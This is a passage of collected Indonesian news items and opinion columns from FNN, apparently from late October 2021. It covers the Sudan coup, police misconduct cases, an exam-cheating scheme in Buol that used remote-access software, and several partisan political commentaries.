dari habitatnya semula dari Kalimantan Tengah yang telah rusak. Wakil Bupati Hulu Sungai Utar, H Husairi Abdi, menambahkan perlunya dukungan semua pihak terlibat dari pemerintah, pihak swasta hingga masyarakat setempat dalam menjaga kawasan ekosistem esensial bagi satwa yang berada di sana. "Menjaga pengelolaan kawasan ekosistem esensial perlu adanya komitmen bersama semua pihak," katanya. Menurut Husairi, adanya temuan orang utan di Hulu Sungai Utara menjadi langkah strategis, karena berkaca dengan daerah lain kawasan ekosistem esensial tidak hanya sebagai tempat kawasan menjaga keseimbangan alam saja, tetapi juga peningkatan ekonomi masyarakat. Sementara itu, musibah kebakaran hutan dan lahan yang terjadi di Kabupaten Hulu Sungai Utara pada 2015 dan 2019 dikhawatirkan telah mengganggu ekosistem orang utan di kawasan Desa Kayakah dan Desa Murung Panggang Kecamatan Amuntai Selatan. (sws, ant)

Perdana Menteri Sudah Ditahan di Rumah Ketua Dewan Militer

Khartoum, FNN - Perdana Menteri Abdalla Hamdok kini ditahan di kediaman ketua dewan militer berkuasa Sudan, Abdel Fattah al-Burhan, ungkapnya. Berbicara saat konferensi pers di Khartoum pada Selasa, al-Burhan mengungkapkan bahwa angkatan darat menyembunyikan Hamdok di rumahnya agar "dirinya tetap aman usai mendapat ancaman pembunuhan." "Kami merasa ada ancaman terhadap nyawa perdana menteri, itulah mengapa kami menjauhkannya," kata al-Burhan. "Dia (Hamdok) ada di rumah saya dan wartawan bebas untuk menemuinya." Hamdok dan sejumlah menteri pemerintahan sipil ditangkap oleh militer Sudan pada Senin (25/10) di tengah situasi genting di negara tersebut. Al-Burhan pada Senin mengumumkan status darurat, membubarkan dewan kedaulatan transisi dan pemerintah serta menangguhkan sejumlah ketentuan dokumen konstitusional yang menjabarkan transisi politik di Sudan. Setelah kudeta gagal militer bulan lalu, ketegangan mendalam antara militer dan pemerintahan sipil meletus di tengah aksi protes rival baru-baru ini di ibu kota Khartoum. Sebelum jatuh ke tangan militer, Sudan diperintah oleh dewan kedaulatan dari pejabat militer dan sipil, yang mengawasi masa transisi sampai pemilu yang akan digelar pada 2023, sebagai bagian dari pakta bagi-bagi kekuasaan antara militer dan koalisi Pasukan untuk Perubahan dan Kebebasan. (sws, Anadolu)

Holding Asurani Diminta Bantu Modali UMKM

Jakarta, FNN - Anggota Komisi VI DPR RI Intan Fauzi meminta Indonesia Financial Group (IFG), sebagai BUMN holding perasuransian dan penjaminan, ikut berperan dalam membantu usaha mikro, kecil dan menengah (UMKM), khususnya melalui akses permodalan. Intan dalam keterangannya di Jakarta, Selasa mencontohkan Jamkrindo yang bergerak di penjaminan dan Askrindo diperlukan bagi UMKM dalam hal akses permodalan. "Jamkrindo sebagai lembaga penjaminan sangat diperlukan kehadirannya, sehingga para UMKM yang mengajukan kredit ke perbankan, lembaga keuangan dapat terbantu karena tidak khawatir tingginya non performing loan, potensi kredit bermasalah yang biasanya dijadikan alasan para pemberi modal bagi UMKM," katanya. Hal itu disampaikannya saat melakukan sosialisasi peran IFG dan anak perusahaan dalam menyediakan produk asuransi dan penjaminan di masyarakat, di Kota Bekasi, Selasa. Intan mengatakan permasalahan UMKM, salah satunya terkait akses permodalan, khususnya ke perbankan, sehingga kalau ada sinergi dari IFG tentu bisa mengatasi persoalan tersebut. Dia tidak mau UMKM malah terjerat pinjaman online (pinjol) ilegal karena susah mendapatkan modal. “Selain adanya Program Kredit Usaha Rakyat dengan bunga rendah, juga diharapkan berbagai kredit lainnya untuk UMKM dengan suku bunga kredit dasar jauh lebih rendah," ujarnya. Selain itu, menurut dia, proses pengajuan kredit bagi UMKM untuk mendapat permodalan harus dipermudah, misalnya agunan, kemudian panduan untuk membuat neraca. Dia berharap UMKM jangan sampai tergiur proses cepat, tanpa agunan dan mudah, yang kemudian UMKM tertipu pinjol ilegal. Intan mengungkapkan UMKM biasanya kesulitan karena layak usaha, namun dianggap tidak layak perbankan atau bankable. "Secara usaha sudah layak mendapatkan permodalan atau kredit dari perbankan, namun kendalanya adalah UMKM tidak bankable karena UMKM masih ada yang kesulitan proses administrasi, misalnya belum dapat menyusun neraca keuangan," katanya. Dalam acara tersebut dihadiri para kepala cabang Sos IFG - Jamkrindo: Pimpinan Cabang Jakarta, meliputi wilayah Jabodebek, Kepala Kantor Jasa Raharja Kota Bekasi, Pimpinan Cabang Askrindo Kota Bekasi dan SBO Jasindo Kota Bekasi. (sws,ant)

BMKG Ingatkan Potensi Banjir Jakarta

Jakarta, FNN - Badan Meteorologi, Klimatologi dan Geofisika (BMKG) menyampaikan peringatan potensi banjir di lima wilayah DKI Jakarta pada Rabu pagi dan siang hari. Dikutip dari laman resmi BMKG di Jakarta, Rabu, peringatan potensi banjir itu yakni memprakirakan seluruh wilayah DKI Jakarta dan Kepulauan Seribu diguyur hujan ringan pada Rabu pagi dan siang hari. "Waspada potensi hujan lebat disertai petir dan angin kencang di seluruh wilayah Jakarta pada siang dan sore," tulis BMKG. BMKG juga menyampaikan peringatan kewaspadaan dini dari masyarakat terkait potensi banjir di DKI Jakarta. Pada malam hari, seluruh wilayah DKI Jakarta dan Kepulauan Seribu diprakirakan berawan, serta cerah berawan pada Kamis (27/10) dini hari. Rata-rata suhu udara di Jakarta yakni minimum 23 derajat celcius dan tertinggi 29 derajat celcius. Suhu udara Kepulauan Seribu yakni 26-28 derajat celcius. Kelembaban udara di DKI Jakarta dan Kepulauan Seribu berkisar 85-90 persen. (ant, sws)

Stop Campur Tangan Pimpinan Parpol dalam Penunjukan Panglima TNI

By Asyari Usman APA sebab penunjukan panglima TNI saat ini menjadi ribet sekali? Mengapa Presiden Joko Widodo (Jokowi) kerepotan menetapkan pengganti Marsekal Hadi Tjahjanto? Sederhana sekali persoalannya. Bahwa yang terjadi adalah ketidakpahaman tentang tugas dan fungsi TNI. Atau mungkin bukan ketidakpahaman, melainkan keinginan untuk menyalahgunakan para petinggi TNI, struktur, dan personelnya. Panglima TNI adalah jabatan profesional. Tapi, bukan jabatan politis. Jabatan profesional dalam arti bahwa bagi seorang presiden, siapa pun dia, figur panglima TNI haruslah personel yang terbaik untuk masalah kemiliteran dan pertahanan. Kalau ini yang dijadikan patokan, pasti tidak sulit menunjuk panglima TNI. Tidak akan ada tarik-menarik. Presiden cukup meminta pendapat Dewan Jabatan dan Kepangkatan Tinggi (Wanjakti) TNI. Bisa juga berkonsultasi dengan para jenderal purnawirawan dan para pengamat militer. Yang terjadi saat ini adalah bahwa Presiden Jokowi harus mendengarkan keinginan para politisi, terutama para politisi parpol-parpol besar yang ada di dalam koalisi pemerintah. Misalnya, Jokowi harus mendengarkan keinginan pribadi Ketum PDIP Megawati Soekarnoputri (Bu Mega). Preferensi Bu Mega adalah Jenderal Andika Perkasa yang saat ini menjabat sebagai Kepala Staf Angkatan Darat (KSAD). Sedangkan Jokowi tidak setuju. Tapi dia tak mampu mengambil keputusan. Jokowi merasa tidak enak kalau kemauan Bu Mega ditolak. Akibatnya, penunjukan panglima menjadi terkatung-katung. Semua ini terjadi karena Jokowi masih merasa dirinya sebagai petugas partai. Dia tak berani melawan Bu Mega. Situasi seperti yang berlangsung sekarang ini terkait kepastian panglima seharusnya tidak menyeret-nyeret TNI ke ruangan politik praktis. Para politisi, terutama Megawati, seharusnya menyadari bahwa memaksakan keinginan untuk posisi panglima TNI akan menurunkan wibawa korps angkatan bersenjata. Para jenderal, laksamana dan marsekal yang telah berjuang keras untuk profesionalisme TNI sangat tidak layak diganggu oleh nafsu para politisi. Sudah saatnya menghentikan campur tangan partai politik dalam urusan pimpinan TNI. Sebab, kalau seorang panglima merasa berhutang budi karena didukung oleh ketua umum parpol, hampir pasti dia merasa perlu membalasnya. Balas budi inilah yang bisa menimbulkan berbagai dampak negatif. Misalnya, ketika pimpinan parpol memberikan isyarat halus tentang keinginan untuk mendapatkan akses ke proyek-proyek yang ada di lingkungan TNI, bagaimana mungkin panglima menolak? Atau, bisa juga panglima yang didukung ketua umum parpol akan, dengan sendirinya, mengerti apa yang harus dia lakukan untuk balas budi. Yang sangat parah, kalau sampai seorang panglima TNI yang berhutang budi atas dukungan pimpinan parpol akan mengkompromikan netralitas TNI. Sangat berbahaya. Jadi, sekali lagi, stop campur tangan politik dalam proses penunjukan panglima TNI. Biarkan presiden mendengarkan saran dari para perwira tinggi semua angkatan. Jangan bawa lembaga pertahanan bangsa dan negara itu untuk memenuhi nafsu bejat pimpinan partai politik.[] (Penulis wartawan senior FNN)

Anak Buah Cabuli Istri Tersangka Narkoba, Kapolsek Kutalimbaru, Dicopot

Medan, (FNN)- Akibat ulah Dua orang penyidiknya diduga melakukan pencabulan dan pemerasan terhadap istri tersangka nrkoba, menyebabkan Kepala Kepolisian Sektor (Kapolsek) Kutalimbaru, Hendri Surbakti dicopot dari jabatannya. "Tadi malam yang bersangkutan sudah dicopot, termasuk kapolsek, kanit, dan penyidiknya," kata Kepala Kepolisian Daerah (Kapolda ) Sumatera Utara, Panca Putra usai meninjau pelaksanaan vaksinasi massal yang digelar alumni Akabri 1990 di Kampus Universitas Sumatera Utara (USU), Selasa, 26 Oktober 2021. Kini, kata Kapolda, orang-orang tersebut telah dinonaktifkan dari jabatannya guna menjalani pemeriksaan internal. "Sekarang lagi dalam pemeriksaan Propam Polda Sumut," ujarnya. Kapolda mengaku prihatin atas tindakan anggota Polri tersebut karena telah mencoreng institusi kepolisian. Ini tidak boleh dilakukan oleh seorang anggota Polri. Dia harus menunjukkan tanggung jawabnya sebagai anggota Polri yang bisa melindungi dan mengayomi masyarakat," ujarnya. Sebelumnya, dua penyidik Polsek Kutalimbaru, di Deli Serdang, Sumatera Utara, Aiptu DR dan Bripka RHL diduga melakukan pencabulan dan pemerasan terhadap istri tersangka kasus narkoba. (MD).

Keluarga Korban Penembakan Tuntut Polisi Rp 4 Miliar

Wamena, (FNN) - Keluarga korban penembakan menuntut denda adat kepada Kepolisian Resor Jayawijaya, Polda Papua, sebesar Rp 4 miliar. Selain tuntutan berupa uang, keluarga korban juga mengajukan tuntutan berupa 30 ekor babi. Kepala Kepolisian (Kapolres) Resor Jayawijaya, Muh Safei, di Wamena, Papua, Senin, 25 Oktober 2021 mengatakan, pihaknnya meminta waktu satu bulan guna menyiapkan tuntutan denda dari keluarga. "Karena Polres sebagai orang yang dituntut, kami minta waktu satu bulan untuk konsolidasi menyiapkan apa yang harus kita siapkan. Keluarga minta Rp 4 miliar dan 30 ternak (babi)," katanya. Setelah dilakukan persiapan terkait tuntutan itu, polisi akan memanggil lagi pihak keluarga melakukan negosiasi terkait kemampuan menyanggupi tuntutan keluarga korban yang meninggal dunia itu. "Pelaku di sini oknum anggota dan gajinya tidak masuk akal kalau dibilang Rp 4 miliar sehingga nanti kami, Polres Jayawijaya, yang menjembatani," katanya. Ia mengatakan, dua anggota pelaku penembakan akan dilibatkan dalam pembayaran denda. "Kami siapkan uang paling tidak sesuai kemampuan dari dua orang yang dituntut. Kami (Polres Jayawijaya) bantu-bantu," katanya. (MD).

Sebanyak 18 Orang Jemaah Masjid Tewas Diserang

Maiduguri, (FNN) - Sekelompok orang bersenjata yang mengendarai sepeda motor membunuh sedikitnya 18 orang di sebuah masjid di negara bagian Niger, Nigeria utara. Menurut kesaksian warga, para penyerang itu tiba di komunitas Maza-Kuka di wilayah pemerintah daerah Mashegu sekitar pukul 5.00 pagi waktu setempat. "Mereka datang dan langsung pergi ke masjid dan menembaki jemaah tanpa mengecualikan siapa pun," kata warga bernama Abdulganiyu Hassan. Hassan mengatakan, para penyerang bersenjata itu juga menculik lebih dari 10 orang. Seorang warga dan saksi lain bernama Bello Ayuba mengatakan sedikitnya 20 orang terluka. Juru bicara kepolisian negara bagian Niger belum menanggapi permintaan mengomentari peristiwa tersebut. Para bandit bersenjata yang beroperasi agar mendapatkan uang telah menculik atau membunuh ratusan orang di wilayah barat laut Nigeria sepanjang tahun 2021. Namun, pejabat pemerintah lokal dan negara bagian Niger belum lama ini mengatakan, kelompok militan Boko Haram telah mengambil alih banyak komunitas di negara bagian itu. Mereka menawarkan uang kepada penduduk desa dan memasukkan mereka ke barisan kelompok bersenjata itu supaya melawan pemerintah. (MD).

Sherina Si Pembela Anjing Canon

Oleh Ady Amar *) ANAK-anak yang lahir setidaknya di awal '90-an pastilah mengenal penyanyi cilik Sherina Munaf. Biasa dipanggil Sherina. Debut albumnya "Andai Aku Besar Nanti" meledak (1999). Konon terjual lebih dari sejuta copy. Album itu menjadi menarik karena musiknya digarap Elva Secioria. Tidak saja lirik lagu-lagu dalam album itu yang pas untuk anak-anak, tapi orang dewasa pun bisa menikmati lagu dengan musik yang rancak semi orkestra. Setahun kemudian, (2000), film "Petualangan Sherina" pun dihadirkan. Penciuman khas produser film melihat kesuksesan album "Andai Aku Besar Nanti" menyambar. Dan ternyata benar, film itu meledak. Sherina jadi idola anak-anak khususnya seumuran dengannya. Pada perjalanan tempo waktu tidak banyak terekspos tentang Sherina, meski saat remaja ia sempat membuat album, tapi tidak meledak sebagaimana album masa kanak-kanaknya. Lalu orang mengenal pilihan politiknya, yang dikenal sebagai pendukung Ahok (Ahokers) dan Jokowi (Jokowers). Tidak ada yang salah dengan pilihan politiknya. Itu haknya. Sherina aktif bermedia sosial, setidaknya ia ingin menyampaikan pesan apa yang dianggapnya sesuatu. Bahkan ia pun menyampaikan pandangannya yang di luar kepatutan, dan bahkan hal yang tabu untuk disampaikan. Apa yang disampaikan itu pastilah tidak terlepas keinginan agar followers-nya mengamini pandangannya. Sherina terlampau nekat dan tampak bebas saat menyampaikan pandangannya, meski pandangan itu "melawan" larangan keras agamanya (Islam). Pandangannya soal perkawinan sejenis menyentakkan dada. Saat Mahkamah Agung Amerika Serikat melegalkan pernikahan sesama jenis di seluruh wilayah negara, 26 Juni 2015. Keputusan resmi itu tentu disambut meriah dan suka cita pendukung LGBT di seluruh dunia. Bahkan tak ketinggalan disambut pula Sherina Munaf dengan antusias. "Senang mendengar kabar itu," komen Sherina melalui akun media sosialnya. "Banzai! Same sex marriage is now legal across the US. The dream: next, world! Wherever you are, be proud of who you are. #LGBrights. ("Selamat! Pernikahan sesama jenis ini telah sah di seluruh wilayah Amerika Serikat. Impian selanjutnya: dunia. Di mana pun kamu, jangan pernah malu menunjukkan siapa dirimu yang sesungguhnya.#hakLGBT), cuit @sherinasinna. Dramatisasi Matinya Anjing Canon Sherina memiliki pandangan sendiri tentang perkawinan sejenis, dan saat ia tulis di medsos maka sebenarnya ia ingin "menularkan" pandangannya pada khalayak, terutama "pengikutnya". Pun saat Sherina sok tahu soal matinya anjing canon di Aceh, yang menurutnya mati karena disiksa ramai-ramai oleh Satpol PP sebelum ditangkap. Ia sebenarnya ingin menyampaikan satu pesan tersirat, tentu penuh drama, seolah terjadi perbuatan tidak mengenakkan pada makhluk Tuhan (anjing) di wilayah Serambi Mekkah, yang menerapkan syariat Islam. Lewat medsosnya Sherina ingin mempengaruhi psikologis publik dengan cuitannya: "Bayangkan seekor anjing yang sepanjang hidupnya percaya manusia, yang didatangi aparat keji itu, ekornya melambai-lambai ramah, ternyata detik-detik terakhirnya adalah dikarungi sampai lemas dan akhirnya tewas. Dari egois manusia berseragam," cuitnya penuh emosi. Sherina tampak ingin mengaduk-aduk emosi publik dengan cuitannya itu. Ia seolah tidak faham jenis anjing canon, yang digambarkannya dengan framing lebay, "ekornya melambai-lambai ramah", yang digambarkan bak anjing pudel. Ia tampak tidak mencari tahu, mengapa anjing itu mesti ditangkap. Tapi ia cuma melihat dan mengeksplor penangkapan anjing itu, yang digambarkan dengan sadis. Anjing canon itu setidaknya sudah menggigit 2 orang pengunjung wisata Pantai Pulau Panjang. Pemilik resort menempatkan anjing canon galak itu di bibir pantai, di mana ia ingin membatasi agar tidak boleh ada orang yang lewat depan resortnya. Sejak 2019 Camat di wilayah itu sudah mengirim surat berkenaan dengan menempatkan anjing canon itu, tapi tidak digubris. Sampai peristiwa penangkapan anjing canon, yang lalu mati karena stres jadi berita nasional. Satu anjing canon mati di Aceh jadi keprihatinan amat seorang Sherina dan para pegiat sosial yang mata dan telinga tidak mampu berfungsi bisa melihat dan mendengar, bahwa tiap hari ratusan anjing dibantai di Tomohon-Sulawesi Utara, di Solo-Jawa Tengah, dan banyak daerah lain, di mana dagingnya disantap guna memenuhi syahwat selera nafsu setaniah. Sherina dan kawan-kawannya menjadi spesialis nyinyir jika itu di wilayah mayoritas muslim, atau wilayah yang menjalankan syariat Islam. Setidaknya kasus anjing canon menampakkan watak aslinya terang benderang. Sherina dan kawan-kawannya memilih jalan kritis pada hal-hal yang bersifat "politis" untuk kepentingan tertentu. Mustahil hatinya terenyuh melihat 6 anak manusia eks Laskar FPI, yang masih berusia muda dibantai aparat di KM 50 dengan sadistik. Tidak terdengar suara Sherina dan kawan-kawannya membela kemanusiaan atas kematian mengenaskan itu. Pembelaan Sherina memang cuma sekelas anjing canon, dan karena itu di Aceh. (*) *) Kolumnis

BI Raih Predikat Badan Publik Informatif Tahun 2021

Jakarta, FNN - Bank Indonesia (BI) meraih penghargaan keterbukaan informasi badan publik dengan predikat badan publik informatif dalam acara Penganugerahan Keterbukaan Informasi Badan Publik Tahun 2021. Penghargaan diberikan oleh Wakil Presiden Ma’ruf Amin, kepada Gubernur BI Perry Warjiyo secara virtual, Selasa. "Pencapaian ini menjadi wujud nyata komitmen BI dalam keterbukaan informasi serta senantiasa melakukan inovasi dalam pengembangan layanan informasi yang berkualitas kepada publik, khususnya dalam masa pandemi COVID-19," kata Direktur Eksekutif Kepala Departemen Komunikasi BI Erwin Haryono dalam keterangan resminya di Jakarta, Selasa. BI menjadi salah satu dari 83 badan publik yang memperoleh predikat Badan Publik Informatif dari total 337 badan publik, anugerah diperoleh untuk kategori Badan Publik Lembaga Negara dan Lembaga Pemerintah Non Kementerian. Penghargaan diberikan berdasarkan hasil pemantauan dan evaluasi atas implementasi keterbukaan informasi badan publik tahun 2021, yang terdiri dari 2 aspek yakni pertama, inovasi dalam melaksanakan keterbukaan informasi publik yang terdiri dari inovasi pelayanan informasi publik tahun 2021, inovasi pelayanan publik dalam masa pandemi COVID-19, manfaat dari inovasi bagi publik, dan strategi inovasi agar penerapannya efektif. Erwin melanjutkan, kemudian yang kedua adalah kolaborasi yang dilakukan badan publik dengan badan publik lainnya/masyarakat dalam rangka melaksanakan keterbukaan informasi publik. "Pelaksanaan penghargaan merupakan salah satu upaya untuk mendorong peningkatan keterbukaan Informasi pada badan publik sekaligus bertujuan untuk mengetahui tingkat pelaksanaan Undang-Undang No. 14 tahun 2008 tentang Keterbukaan Informasi Publik dari badan publik dalam menjalankan kewajiban dan memberikan akses informasi publik," ungkapnya. Menurutnya, keterbukaan informasi publik merupakan sarana dalam mengoptimalkan pengawasan publik terhadap penyelenggara negara dan badan publik lainnya, dan segala sesuatu yang berakibat pada kepentingan publik sebagaimana yang diamanatkan dalam UU Nomor 14 Tahun 2008. Sejalan dengan era keterbukaan informasi publik yang dimulai pasca disahkannya UU Nomor 14 tahun 2008, BI turut aktif dalam gerakan keterbukaan informasi. Maka dari itu, bank sentral memberi kesempatan kepada seluruh masyarakat untuk dapat mengakses informasi melalui berbagai saluran komunikasi resmi BI. (mth)

People Power Sah dan Dilindungi Undang-Undang

Oleh Sugengwaras Secara universal, demokrasi adalah bentuk atau sistim pemerintahan dari rakyat, oleh rakyat, untuk rakyat, dimana antara pemerintah dan rakyat memiliki hak yang sama dalam pengambilan kebijakan atau keputusan. Ada negara yang menganut sistim pemerintahan Parlementer / kerajaan, dimana kekuasaan tertinggi ada di sang raja, ada juga yang menerapkan sistim Liberal ( kebebasan Individu ) Indonesia ambil jalan tengah dan sistim Demokrasi adalah terbaik bagi bangsa Indonesia. Sistim demokrasi yang pernah dianut oleh bangsa Indonesia adalah sistim *Demokrasi Pancasila* ( 1945 -- 1950 ), kemudian sistim *Demokrasi Liberal* ( 1950 -- 1959 ), selanjutnya *Demokrasi Terpimpin* ( 1959 -- 1965 ) dan kembali *Demokrasi Pancadila* sejak 1966 hingga kini. Intisari Demokrasi adalah *Musyawarah Mufakat* dalam pusaran Ekskutif ( pemerintah ), Yudikatif ( Lembaga kehakiman, hakim, jaksa, magistrat ) dan Legislatif ( DPR, DPD ), dengan mengedepankan hukum sebagai yang tertinggi (Supermasi Hukum) Ada empat kunci / pilar dalam konsep demokrasi , yaitu, pelaksanaan Pemilu yang bebas dan adil, partisipasi aktif warga negara , perlindungan terhadap HAM dan hukum sebagai panglima ( Supermasi Hukum). DPR sebagai pengejahwantahan rakyat, dan kedaulatan tertinggi negara berada ditangan rakyat. Bagaimana dinamika dan fakta di lapangan? Kabinet kerja atau kabinet maju yang dipimpin Jokowi nyaris tidak mengimplementasikan Demokrasi Pancasila secara murni, konsisten dan konsekwen. Dalam.kebijakanya, cenderung mengedepankan *kekuasaan* nyaris mengabaikan musyawarah mufakat Hukum sebagai supermasi dijadikan banyak perselingkuhan dan dagelan yang membodoh bodohi rakyat ( dugaan konspirasi antara Polisi dan Komnas HAM RI ) terkait penembakan / pembunuhan enam laskar FPI di KM 50 jalan Tol Jakarta Cikampek. Kasus kasus lain seperti perlakuan terhadap HRS, contoh fulgar diskriminasi dan diskriminalisasi atas perbuatan serupa ( kerumunan ) yang diakibatkan Presiden Jokowi, Gibran, Kofifah atau antrean dalam Pon 20, di Papua. Benar benar tidak ada rasa pakewuh atau malu, atas RUU atu UU yang dikeluarkan seperti RUU HIP / BPIP, UU / RUU Omnibus Law, termasuk IKN baru yang sama sekali abai terhadap suara rakyat / tuntutan rakyat baik berupa tulisan dan demo demo. Bak sudah tutup mata, tutup telinga dan tutup hati terhadap himbauan dan desakan rakyat. Jika dimaknai Demokrasi terpimpin, nyatanya ada oposisi, jika dimaknai otoriter faktanya tidak meninggalkan legislatif dan yudikatif. Lebih tepat jika rezim Joko Widodo dijuluki Rezim radikal atau rezim ekstrim. Dikatakan mempraktekkan sistim komunis, faktanya banyak anggota kabinet dari personil yang beragama Islam, tak terkecuali para tokoh agama ustad, kiai, ajengan dll. Kenapa mereka mau diajak kerjasama atau mendukung kebijakan kebijakan rezim yang tidak pro rakyat? Tampaknya penyakit pejabat / penguasa terkait harta, jabatan dan wanita menjadi kelemahan umum yang sulit dihindari dan diperingatkan. Seolah langkah tindak yang dilakukan pihak pihak yang tidak pro pemerintah, dapat dibaca, diukur dan dihadapi dengan keyakinan bisa diatasi dan dimenangkan oleh rezim. Dari amatan yang ada, kunci keberanian dan keyakinan bisa dan menang terletak pada kemampuan TNI POLRI. Oleh karenanya, dihimbau kepada TNI POLRI agar benar benar memahami makna demokrasi Pancasila yang sebenar benarnya, serta paham dan sadar kembali kepada peransi dan tugas pokoknya, dan berdiri ditengah tengah pemerintah dan rakyat. Dalam menjalankan Politik Negara, Panglima TNI dan KAPOLRI berhak mengingatkan, meluruskan dan membantah terhadap presiden , yang dilindungi oleh hukum dan undang undang. Tatap dan lakukan sebaik baiknya, setepat tepatnya dan seadil adilnya terhadap rakyat yang koreksi secara kecil kecilan dan halus, maupun secara besar besaran dan keras, sebagai korektif dan pelurusan terhadap jalanya roda pemerintahan menuju dan mencapai cita cita nasional. Ingat *People Power* adalah sah yang dilindungi oleh hukum dan undang undang ! MERDEKA !!! *) Purnawirawan TNI AD

Menkeu: Stimulus Global Capai 12 Triliun Dolar AS Hadapi Pandemi

Jakarta, FNN - Menteri Keuangan (Menkeu) Sri Mulyani Indrawati menyatakan dunia telah mengeluarkan stimulus senilai 12 triliun dolar AS demi menghadapi dampak pandemi COVID-19 baik di bidang ekonomi, sosial, maupun kesehatan. “Dukungan dan stimulus fiskal global dan 2020 diperkirakan oleh semua negara di dunia mencapai 12 triliun dolar AS,” kata Menkeu Sri Mulyani dalam acara The 7th IIMEFC & The 13th ICIEf secara daring di Jakarta, Selasa. Menkeu Sri Mulyani menyatakan jumlah tersebut menunjukkan pandemi COVID-19 telah menimbulkan biaya yang sangat besar bagi semua negara di dunia untuk mengembalikan kondisi dan aktivitas masyarakat sehingga ekonomi pulih. Untuk stimulus Indonesia sendiri pada tahun lalu mencapai Rp695,2 triliun yang masuk dalam Anggaran Pemulihan Ekonomi Nasional (PEN) dan terserap Rp579,78 triliun atau 83,4 persen. Kemudian untuk tahun ini Anggaran PEN Indonesia meningkat jadi Rp744,77 triliun dan telah terealisasi sebesar Rp433,91 triliun atau 58,3 persen per 22 Oktober 2021. Sri Mulyani menuturkan ekonomi Indonesia maupun dunia saat ini mulai mengalami pemulihan meski masih belum merata karena ternyata banyak negara yang berjuang menghadapi lonjakan COVID-19 varian Delta. Menurutnya, penanganan pandemi dalam negeri sudah baik karena pemerintah mampu mengelola tren peningkatan COVID-19 varian Delta dalam waktu yang sangat efektif dan relatif singkat. Terlebih lagi ekonomi Indonesia kuartal II-2021 mengalami pertumbuhan sangat mengesankan yakni 7,07 persen yang didorong pemulihan dari sisi konsumsi, investasi, pengeluaran pemerintah dan ekspor. Meski telah menciptakan pertumbuhan yang jauh lebih seimbang, Sri Mulyani menegaskan pemerintah Indonesia akan tetap mengaplikasikan kebijakan yang terus mendukung pemulihan termasuk terkait vaksinasi. Ia menyebutkan Presiden Joko Widodo menargetkan Indonesia harus mencapai 70 persen herd immunity sebelum akhir tahun yang artinya pemerintah harus melakukan vaksinasi kepada sekitar 2,5 juta orang per hari. “Ini adalah angka yang sangat besar dan tentunya juga menantang karena situasi geografis di Indonesia,” ujar Sri Mulyani. Ia menyatakan vaksinasi adalah kunci dari pemulihan sembari pemerintah bersama masyarakat tetap menerapkan disiplin protokol kesehatan ketika beraktivitas. “Inilah tantangan yang akan terus berlanjut di Indonesia dengan upaya baik dari pemerintah pusat maupun pemerintah daerah,” ujar Menkeu Sri Mulyani. (mth)

Menpan RB Ungkap Kecurangan SKD CASN di Kabupaten Buol

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (​​​​​​Menpan RB) Tjahjo Kumolo mengungkapkan kronologi kecurangan dalam pelaksanaan Seleksi Kompetensi Dasar (SKD) penerimaan Calon Aparatur Sipil Negara (CASN) Tahun 2021 di Pemkab Buol, Sulawesi Tengah. Dalam keterangan tertulisnya di Jakarta, Selasa, ​​​​​​Menpan RB Tjahjo Kumolo menjelaskan kecurangan tersebut berawal dengan adanya oknum yang menginstal software remote access di perangkat komputer untuk peserta SKD. "Software ini dipasang atau diinstal oleh Kepala BKPSDM bersama dua orang lainnya pada malam hari, (menurut) hasil bukti rekaman CCTV dihapus, tapi bisa di-recovery oleh Tim BKN dan BSSN," kata Tjahjo dalam pesannya kepada wartawan, Selasa. Pada saat hari pelaksanaan SKD di lokasi, pengawas mulai menaruh curiga ketika komputer yang telah diinstal software tersebut mengalami blue screen. Namun, peserta yang menempati komputer tersebut tidak mau dipindahkan ke komputer lain. "Kemudian peserta diminta pindah duduk tetapi yang bersangkutan tidak mau pindah dari PC tersebut. Posisi duduk di komputer ini sudah diatur sebelumnya oleh panitia lokal, terlihat dari hasil rekaman CCTV," jelasnya. Selain itu, lanjutnya, dilakukan audit trail yang ditemukan bukti bahwa peserta bersangkutan hanya menampilkan kurang lebih 30 soal dalam rata-rata tujuh detik. Setelah bukti rekaman tersebut menampilkan soal dalam hitungan beberapa detik tersebut, peserta bersangkutan kemudian menjawab soal dalam hitungan delapan detik. "Ini sangat tidak mungkin terjadi karena rata-rata waktu bagi peserta minimal 50-54 detik. Artinya, dengan waktu yang begitu pendek tidak mungkin orang bisa membaca soal dengan sangat cepat," katanya. Dengan bukti-bukti tersebut, terlihat bahwa peserta bersangkutan hanya menampilkan soal dan kemudian dijawab oleh pihak di luar lokasi penyelenggaraan SKD. "Ada dugaan tidak dilakukan oleh satu orang, tetapi dalam bentuk tim yang bertugas membantu menjawab soal-soal ujian," ujarnya. (mth)

Pemasangan Jembatan KIT Batang di Atas Tol Disetop pada Akhir Pekan

Semarang, FNN - Pekerjaan pemasangan girder jembatan penghubung Kawasan Industri Terpadu (KIT) Batang di Km 368+100 ruas Tol Semarang-Batang yang akan dikerjakan mulai 26 Oktober hingga 4 November 2021 memastikan tidak ada aktivitas pekerjaan pada akhir pekan. "Dikerjakan pada hari Senin sampai Kamis. Tidak ada pekerjaan di akhir pekan," kata Pejabat Pembuat Komitmen (PPK) Kawasan Industri Batang I, Nugraha, dalam siaran pers di Semarang, Selasa. Pekerjaan pemasangan girder jembatan tersebut akan dilaksanakan dalam tujuh hari kerja. Menurut dia, awal pelaksanaan pekerjaan yang seharusnya dimulai pada 25 Oktober mundur sehari menjadi 26 Oktober. Adapun waktu pelaksanaan pekerjaan dimulai pada pukul 23.00 hingga 04.00 WIB pada keesokan harinya. Ia menjelaskan mekanisme buka tutup arus lalu lintas di titik pemasangan jembatan dengan bentangan mencapai 50,8 meter tersebut akan diberlakukan. Menurut dia, durasi penutupan ditetapkan maksimal 35 menit mulai Km 363+000 jalur arah Semarang dan Km 375+200 jalur arah Batang. "Dalam sehari akan diberlakukan dua kali skema buka tutup saat pengerjaan itu," katanya. Sementara Direktur Utama PT Jasamarga Semarang Batang, Prajudi, meminta maaf atas ketidaknyamanan pengguna jalan tol atas kondisi tersebut. Ia juga memastikan tidak ada penutupan total ruas tol Batang-Semarang selama pekerjaan pemasangan jembatan tersebut. Ia meminta pengguna jalan tol untuk bisa mengatur waktu perjalanan demi kenyamanan saat menggunakan jalan bebas hambatan tersebut. (mth)

PLN Kembangkan Gerobak Motor Listrik untuk Usaha Mikro Kecil

